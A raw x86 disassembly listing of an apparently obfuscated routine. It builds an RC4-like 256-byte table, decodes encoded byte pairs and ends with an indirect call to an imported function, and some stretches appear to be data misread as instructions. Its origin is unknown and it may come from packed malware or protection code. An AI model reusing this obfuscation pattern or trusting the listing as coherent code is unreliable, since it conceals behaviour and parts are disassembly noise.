mov bl, byte [ebx]
mov byte [edx], bl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 8]
mov byte [ebx], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov dword [ebp - 0x28], edx
mov bl, byte [edi + 0xa]
mov dl, byte [edi + 0xb]
mov edi, dword [ebp - 0x28]
sub bl, 3
sub dl, 0x41
mov al, byte [eax]
shl bl, 4
or dl, bl
mov bl, byte [ebp + edi - 0x158]
add bl, cl
add eax, edi
and ebx, 0xff
and eax, 0xff
mov word [ebp - 0x36], 0
mov cl, byte [ebp + ebx - 0x158]
mov bl, byte [esi]
mov esi, dword [ebp - 0x10]
add ecx, ebx
mov bl, byte [esi]
add ecx, ebx
xor ebx, ebx
and ecx, 0xff
mov bl, byte [ebp + ecx - 0x158]
mov cl, byte [ebp + ebx - 0x158]
xor dl, cl
mov cl, byte [ebp + eax - 0x158]
xor dl, cl
movsx cx, dl
mov word [ebp - 0x38], cx
fld qword [0x88f578]
fld qword [0x88f578]
fld st(0)
fmul st(1)
fld st(0)
fmul qword [0x896460]
fsub st(1)
fxch st(1)
fmul qword [0x896458]
fadd qword [0x896450]
fdivp st(1)
faddp st(2)
fld st(1)
fcomp qword [0x896448]
fnstsw ax
test ah, 0x41
jne 0x82cda0
fld st(0)
fmul qword [0x896440]
fsubp st(2)
fadd qword [0x896438]
fcom qword [0x896430]
fnstsw ax
test ah, 1
jne 0x82cd67
fxch st(1)
fst qword [ebp - 0x58]
fxch st(1)
fstp st(0)
fcomp qword [0x88f578]
fnstsw ax
test ah, 1
je 0x82cdec
mov byte [0x9760a05b], al
pop esp
movsd dword es:[edi], dword [esi]
push ebx
pushal
and al, 0x72
outsb dx, byte [esi]
jnp 0x82ce38
sub ah, byte [ebx]
jb 0x82ce02
je 0x82ce13
arpl word [ebp + 0x3e], sp
xor ch, byte [edx]
jp 0x82ce3c
inc esp
inc edx
jmp 0x82d3d4
mov dword [ebp - 0x50], 0x82cdc9
mov dword [ebp - 0x44], 0x82cdd1
xor eax, eax
mov byte [ebp + eax - 0x158], al
inc eax
cmp eax, 0x100
inc dword [eax + 0x3d]
add byte [ecx], al
add byte [eax], al
jb 0x82cdfc
fld qword [ebp - 0x58]
mov byte [ebp - 4], 0
xor edi, edi
mov esi, dword [ebp - 4]
mov dword [ebp - 0x24], 0xff
dec dword [ebx + 0x45c7fc75]
fdiv st(7), st(0)
add byte [eax], al
add byte [ebx + 0x1bbdc45], cl
add byte [eax], al
add byte [ebx], bh
ret
mov eax, dword [ebp - 0x24]
mov ebx, 1
cmp eax, ebx
mov dword [ebp - 0x34], 0
jbe 0x82ce39
lea ebx, [ebx + ebx + 1]
cmp ebx, eax
jb 0x82ce31
clc
cmp edi, 3
ja case.default.0x82ce3e
jmp dword [edi*4 + 0x82d430]
fld st(0)
and esi, 0xff
call fcn.0083dce4
mov cl, byte [ebp + esi - 0x158]
jmp 0x82ceba
fld st(0)
and esi, 0xff
call fcn.0083dce4
mov cl, byte [ebp + esi - 0x158]
shr eax, 8
jmp 0x82ceba
fld st(0)
and esi, 0xff
call fcn.0083dce4
mov cl, byte [ebp + esi - 0x158]
shr eax, 0x10
jmp 0x82ceba
fld st(0)
and esi, 0xff
call fcn.0083dce4
mov cl, byte [ebp + esi - 0x158]
shr eax, 0x18
jmp 0x82ceba
mov edx, dword [ebp - 0x44]
and esi, 0xff
mov cl, byte [edx + edi - 4]
mov al, byte [ebp + esi - 0x158]
add cl, al
inc edi
cmp edi, 0x1a
mov byte [ebp - 4], cl
jb 0x82cecd
xor edi, edi
add cl, 0x1a
mov byte [ebp - 4], cl
mov esi, dword [ebp - 4]
mov eax, dword [ebp - 0x34]
mov edx, esi
and edx, 0xff
and edx, ebx
inc eax
cmp eax, 0xb
mov dword [ebp - 0x34], eax
jbe 0x82ceed
mov eax, edx
xor edx, edx
div dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp eax, edx
jb 0x82ce39
je 0x82cf25
mov bl, byte [ebp + eax - 0x158]
lea edx, [ebp + edx - 0x158]
lea ecx, [ebp + eax - 0x158]
mov al, byte [edx]
xor bl, al
mov byte [ecx], bl
mov al, bl
mov bl, byte [edx]
xor bl, al
mov byte [edx], bl
mov al, byte [ecx]
mov dl, bl
xor al, dl
mov byte [ecx], al
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
jne 0x82ce1e
mov cl, byte [ebp - 0x151]
and esi, 0xff
mov byte [ebp - 0x2c], cl
xor ecx, ecx
mov al, byte [ebp + esi - 0x158]
mov esi, dword [ebp - 0x50]
mov byte [ebp - 0x10], al
xor eax, eax
mov cl, byte [esi]
mov al, byte [esi + 1]
add ecx, 0xffffff6a
sub al, 0x53
shl ecx, 4
or al, cl
mov ecx, dword [ebp - 0x10]
and ecx, 0xff
mov byte [ebp - 0x14], al
mov bl, byte [ebp - 0x155]
mov dl, byte [ebp - 0x153]
mov al, byte [ebp + ecx - 0x158]
lea esi, [ebp + ecx - 0x158]
mov ecx, dword [ebp - 0x157]
mov byte [ebp - 0x20], al
mov eax, ecx
mov dword [ebp - 0x24], 1
and eax, 0xff
fstp st(0)
mov al, byte [ebp + eax - 0x158]
add al, bl
inc cl
mov byte [ebp - 0xc], al
mov byte [ebp - 0x1c], cl
mov ecx, dword [ebp - 0xc]
and ecx, 0xff
lea edi, [ebp + ecx - 0x158]
mov cl, byte [ebp + ecx - 0x158]
mov byte [esi], cl
mov ecx, dword [ebp - 0x2c]
and ecx, 0xff
mov bl, byte [ebp + ecx - 0x158]
lea ecx, [ebp + ecx - 0x158]
mov byte [edi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x28], ecx
lea ebx, [ebp + ebx - 0x158]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [ecx], bl
mov ebx, dword [ebp - 8]
mov cl, byte [ebp - 0x20]
mov byte [ebx], cl
mov ecx, dword [ebp - 0x20]
and ecx, 0xff
mov dword [ebp - 4], ecx
mov bl, byte [ebp + ecx - 0x158]
add dl, bl
mov bl, byte [esi]
mov esi, dword [ebp - 0x28]
mov byte [ebp - 0x18], dl
mov ecx, dword [ebp - 0x18]
and ecx, 0xff
mov cl, byte [ebp + ecx - 0x158]
add ecx, ebx
mov bl, byte [esi]
add ecx, ebx
xor ebx, ebx
and ecx, 0xff
mov bl, byte [ebp + ecx - 0x158]
mov cl, byte [edi]
mov edi, dword [ebp - 4]
mov bl, byte [ebp + ebx - 0x158]
add ecx, edi
and ecx, 0xff
xor bl, byte [ebp + ecx - 0x158]
mov cl, byte [ebp - 0x14]
mov byte [ebp - 0x10], cl
xor bl, cl
mov ecx, dword [ebp - 0x50]
mov byte [ebp - 0x2c], bl
lea esi, [ecx + 2]
mov bl, byte [esi + 1]
xor ecx, ecx
mov cl, byte [esi]
sub bl, 0x53
sub ecx, 0x96
mov dword [ebp - 0x54], 2
shl ecx, 4
or bl, cl
mov ecx, dword [ebp - 0x10]
and ecx, 0xff
mov byte [ebp - 0x14], bl
lea edi, [ebp + ecx - 0x158]
mov cl, byte [ebp + ecx - 0x158]
mov byte [ebp - 0x20], cl
mov ecx, dword [ebp - 8]
mov bl, byte [ecx]
add al, bl
mov bl, byte [ebp - 0x1c]
mov byte [ebp - 0xc], al
inc bl
mov ecx, dword [ebp - 0xc]
mov byte [ebp - 0x1c], bl
and ecx, 0xff
lea esi, [ebp + ecx - 0x158]
mov dword [ebp - 8], esi
mov cl, byte [esi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x2c]
and ecx, 0xff
mov bl, byte [ebp + ecx - 0x158]
lea ecx, [ebp + ecx - 0x158]
mov byte [esi], bl
mov esi, dword [ebp - 0x1c]
and esi, 0xff
mov dword [ebp - 0x28], ecx
mov bl, byte [ebp + esi - 0x158]
lea esi, [ebp + esi - 0x158]
mov byte [ecx], bl
mov cl, byte [ebp - 0x20]
mov byte [esi], cl
mov ecx, dword [ebp - 0x20]
and ecx, 0xff
mov dword [ebp - 4], ecx
mov bl, byte [ebp + ecx - 0x158]
add dl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x28]
mov byte [ebp - 0x18], dl
mov ecx, dword [ebp - 0x18]
and ecx, 0xff
mov cl, byte [ebp + ecx - 0x158]
add ecx, ebx
mov bl, byte [edi]
add ecx, ebx
xor ebx, ebx
and ecx, 0xff
mov bl, byte [ebp + ecx - 0x158]
mov ecx, dword [ebp - 8]
mov edi, ebx
mov bl, byte [ecx]
mov ecx, dword [ebp - 4]
add ebx, ecx
mov cl, byte [ebp + edi - 0x158]
and ebx, 0xff
xor cl, byte [ebp + ebx - 0x158]
mov bl, byte [ebp - 0x14]
mov byte [ebp - 0x10], bl
xor cl, bl
mov ebx, dword [ebp - 0x24]
mov byte [ebp - 0x2c], cl
movsx cx, cl
mov word [ebp - 0x4c], cx
mov ecx, dword [ebp - 0x50]
lea edi, [ecx + 2]
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x34], ecx
jmp 0x82d19b
mov edi, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x34]
inc ebx
add ecx, 2
add edi, 2
mov dword [ebp - 0x34], ecx
xor ecx, ecx
mov cl, byte [edi]
mov dword [ebp - 0x24], ebx
xor ebx, ebx
sub ecx, 0x96
mov bl, byte [edi + 1]
mov dword [ebp - 0x44], edi
sub ebx, 0x53
shl ecx, 4
or cl, bl
mov bl, byte [ebp - 0x1c]
mov byte [ebp - 0x14], cl
mov ecx, dword [ebp - 0x10]
and ecx, 0xff
lea edi, [ebp + ecx - 0x158]
mov cl, byte [ebp + ecx - 0x158]
mov byte [ebp - 0x20], cl
mov cl, byte [esi]
add al, cl
inc bl
mov byte [ebp - 0xc], al
mov byte [ebp - 0x1c], bl
mov ecx, dword [ebp - 0xc]
and ecx, 0xff
lea esi, [ebp + ecx - 0x158]
mov dword [ebp - 8], esi
mov cl, byte [esi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x2c]
and ecx, 0xff
mov bl, byte [ebp + ecx - 0x158]
lea ecx, [ebp + ecx - 0x158]
mov byte [esi], bl
mov esi, dword [ebp - 0x1c]
and esi, 0xff
mov dword [ebp - 0x28], ecx
mov bl, byte [ebp + esi - 0x158]
lea esi, [ebp + esi - 0x158]
mov byte [ecx], bl
mov cl, byte [ebp - 0x20]
mov byte [esi], cl
mov ecx, dword [ebp - 0x20]
and ecx, 0xff
mov dword [ebp - 4], ecx
mov bl, byte [ebp + ecx - 0x158]
add dl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x28]
mov byte [ebp - 0x18], dl
mov ecx, dword [ebp - 0x18]
and ecx, 0xff
mov cl, byte [ebp + ecx - 0x158]
add ecx, ebx
mov bl, byte [edi]
add ecx, ebx
xor ebx, ebx
and ecx, 0xff
mov bl, byte [ebp + ecx - 0x158]
mov ecx, dword [ebp - 8]
mov edi, ebx
mov bl, byte [ecx]
mov ecx, dword [ebp - 4]
add ebx, ecx
mov cl, byte [ebp + edi - 0x158]
and ebx, 0xff
xor cl, byte [ebp + ebx - 0x158]
mov bl, byte [ebp - 0x14]
mov byte [ebp - 0x10], bl
xor cl, bl
mov ebx, dword [ebp - 0x24]
test ebx, ebx
mov byte [ebp - 0x2c], cl
jbe 0x82d2c0
mov edi, dword [ebp - 0x34]
movsx cx, cl
mov word [edi], cx
mov ecx, dword [ebp - 0x54]
dec ecx
mov dword [ebp - 0x54], ecx
jne 0x82d198
mov ecx, dword [ebp - 0x14]
inc ebx
and ecx, 0xff
lea esi, [ebp + ecx - 0x158]
mov cl, byte [ebp + ecx - 0x158]
mov byte [ebp - 0x20], cl
mov ecx, dword [ebp - 0x1c]
and ecx, 0xff
add al, byte [ebp + ecx - 0x158]
mov byte [ebp - 0xc], al
mov al, byte [ebp - 0x1c]
inc al
mov byte [ebp - 0x1c], al
mov eax, dword [ebp - 0xc]
and eax, 0xff
mov cl, byte [ebp + eax - 0x158]
lea edi, [ebp + eax - 0x158]
mov eax, dword [ebp - 0x2c]
mov byte [esi], cl
and eax, 0xff
mov cl, byte [ebp + eax - 0x158]
lea eax, [ebp + eax - 0x158]
mov byte [edi], cl
mov ecx, dword [ebp - 0x1c]
and ecx, 0xff
mov dword [ebp - 0x28], eax
test ebx, ebx
lea ecx, [ebp + ecx - 0x158]
mov dword [ebp - 8], ecx
mov cl, byte [ecx]
mov byte [eax], cl
mov ecx, dword [ebp - 8]
mov al, byte [ebp - 0x20]
mov byte [ecx], al
jbe 0x82d3ce
mov eax, dword [ebp - 0x20]
and eax, 0xff
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x50]
mov cl, byte [eax + ebx*2 + 1]
mov al, byte [eax + ebx*2]
sub al, 6
sub cl, 0x53
shl al, 4
or cl, al
mov eax, dword [ebp - 4]
mov al, byte [ebp + eax - 0x158]
add al, dl
and eax, 0xff
mov dl, byte [ebp + eax - 0x158]
mov al, byte [esi]
add edx, eax
mov eax, dword [ebp - 0x28]
mov al, byte [eax]
add edx, eax
xor eax, eax
and edx, 0xff
mov al, byte [ebp + edx - 0x158]
mov dl, byte [ebp + eax - 0x158]
xor cl, dl
mov dl, byte [edi]
add edx, dword [ebp - 4]
and edx, 0xff
xor cl, byte [ebp + edx - 0x158]
movsx ax, cl
mov word [ebp + ebx*2 - 0x4e], ax
mov word [ebp - 0x46], 0
push 1
lea ecx, [ebp - 0x4c]
push 0
lea edx, [ebp - 0x360]
push ecx
lea eax, [ebp - 0x40]
push edx
push eax
push 0
call dword [0x8d38a4]
cmp eax, 0x20
pop ebx
jle 0x82d400
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret